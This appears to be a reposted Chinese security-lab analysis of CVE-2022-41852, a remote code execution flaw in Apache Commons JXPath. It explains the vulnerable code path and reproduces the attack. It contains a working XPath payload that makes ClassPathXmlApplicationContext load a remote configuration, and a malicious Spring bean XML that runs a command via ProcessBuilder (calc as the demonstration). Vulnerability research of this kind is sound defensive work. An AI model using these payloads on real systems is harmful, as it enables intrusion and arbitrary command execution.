【技术干货】CVE-2022-41852 Apache Commons Jxpath命令执行漏洞分析

渗透技巧 1年前 (2022) admin
536 0 0

【技术干货】CVE-2022-41852 Apache Commons Jxpath命令执行漏洞分析

【技术干货】CVE-2022-41852 Apache Commons Jxpath命令执行漏洞分析
【技术干货】CVE-2022-41852 Apache Commons Jxpath命令执行漏洞分析
xxhzz
@PortalLab实验室

项目介绍

Apache Commons JXPath是美国阿帕奇(Apache)基金会的一种 XPath 1.0 的基于 Java 的实现。JXPath 为使用 XPath 语法遍历 JavaBeans、DOM 和其他类型的对象的图形提供了 API。

漏洞描述

Apache Commons JXPath 存在安全漏洞,攻击者可以利用除compile()和compilePath()函数之外的所有处理XPath字符串的JXPathContext类函数通过XPath表达式从类路径加载任何Java类,从而执行恶意代码。
【技术干货】CVE-2022-41852 Apache Commons Jxpath命令执行漏洞分析

利用范围

Apache Commons JXpath <= 1.3

漏洞分析

环境搭建

使用github上POC进行分析复现https://github.com/Warxim/CVE-2022-41852

【技术干货】CVE-2022-41852 Apache Commons Jxpath命令执行漏洞分析
漏洞POC使用Spring框架,简单实现接受用户输入并使用它从Person类中检索指定的数据。

前置知识

在漏洞分析之前,首先了解一下JXPath及用法(参考官网用户指南:https://commons.apache.org/proper/commons-jxpath/users-guide.html)

【技术干货】CVE-2022-41852 Apache Commons Jxpath命令执行漏洞分析

JXPath除了能够像XPatth一样能够访问XML文档各种元素之外,还能够读取和写入JavaBean的属性,获取和设置数组、集合、映射、透明容器、Servlet 中的各种上下文对象等元素。

JXPath 支持开箱即用的标准 XPath 函数。它还支持“标准”扩展函数(基本上是通往 Java 的桥梁),以及完全自定义的扩展函数。

【技术干货】CVE-2022-41852 Apache Commons Jxpath命令执行漏洞分析

代码分析

JXPath支持自定义扩展函数,首先看一下PackageFunctions这个类
【技术干货】CVE-2022-41852 Apache Commons Jxpath命令执行漏洞分析

在org.apache.commons.jxpath.PackageFunctions#getFunction中,存在methodName.equals(“new”)

【技术干货】CVE-2022-41852 Apache Commons Jxpath命令执行漏洞分析

这里实例化的xpath表达式设置为了xxx.new(),截取括号前作为方法名,如果调用new方法就被视为实例化,两个判断一个是实例化构造函数,另一个是静态方法。

往下分析,如果是实例化构造函数,在Spring框架中可通过加载远程配置实现命令执行,这里使用org.springframework.context.support.ClassPathXmlApplicationContext类,构造payload:
org.springframework.context.support.ClassPathXmlApplicationContext.new(“http://127.0.0.1:8001/test.xml”)
恶意的xml文件使用Spring-bean,设置init-method实现RCE
"http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">        <constructor-arg>            <list>                <value>cmd</value>                <value>/c</value>                <value><![CDATA[calc]]></value>            </list>        </constructor-arg>    </bean></beans>

在实例化之后,继续跟进会来到org.apache.commons.jxpath.ri.compiler.ExtensionFunction#computeValue

【技术干货】CVE-2022-41852 Apache Commons Jxpath命令执行漏洞分析

在获得了org.apache.commons.jxpath.Function对应的这个实例后,会调⽤具体的invoke实现。

【技术干货】CVE-2022-41852 Apache Commons Jxpath命令执行漏洞分析

【技术干货】CVE-2022-41852 Apache Commons Jxpath命令执行漏洞分析

最后在调用invoke实现Spring-bean加载,执行恶意代码。

【技术干货】CVE-2022-41852 Apache Commons Jxpath命令执行漏洞分析

Spring框架中还可以用org.apache.commons.jxpath.functions.MethodFunction这个类。

除了实例化构造函数,Spring框架加载恶意配置的利用之外。还能利用静态方法进行RCE,例如jndi、jdbc等,后续笔者也会进行补充和分析。

当然在官方介绍中说明,除了构造函数和使用静态方法,还介绍了一种调用。
【技术干货】CVE-2022-41852 Apache Commons Jxpath命令执行漏洞分析

此调用也可以直接利用getValue解析表达式。

漏洞复现

在Spring中利用远程加载配置来命令执行。

构造test.xml

【技术干货】CVE-2022-41852 Apache Commons Jxpath命令执行漏洞分析

本地用python开启http服务,模拟远程加载。

【技术干货】CVE-2022-41852 Apache Commons Jxpath命令执行漏洞分析
成功命令执行。

【技术干货】CVE-2022-41852 Apache Commons Jxpath命令执行漏洞分析

修复建议

目前官方已经停止更新,无修复版本。

参考材料

1.https://github.com/Warxim/CVE-2022-41852
2.https://commons.apache.org/proper/commons-jxpath/users-guide.html

3.https://github.com/advisories/GHSA-wrx5-rp7m-mm49

关于Portal Lab

星阑科技 Portal Lab 致力于前沿安全技术研究及能力工具化。主要研究方向为API 安全、应用安全、攻防对抗等领域。实验室成员研究成果曾发表于BlackHat、HITB、BlueHat、KCon、XCon等国内外知名安全会议,并多次发布开源安全工具。未来,Portal Lab将继续以开放创新的态度积极投入各类安全技术研究,持续为安全社区及企业级客户提供高质量技术输出。


【技术干货】CVE-2022-41852 Apache Commons Jxpath命令执行漏洞分析

原文始发于微信公众号(星阑实验室):【技术干货】CVE-2022-41852 Apache Commons Jxpath命令执行漏洞分析

版权声明:admin 发表于 2022年10月19日 上午11:23。
转载请注明:【技术干货】CVE-2022-41852 Apache Commons Jxpath命令执行漏洞分析 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...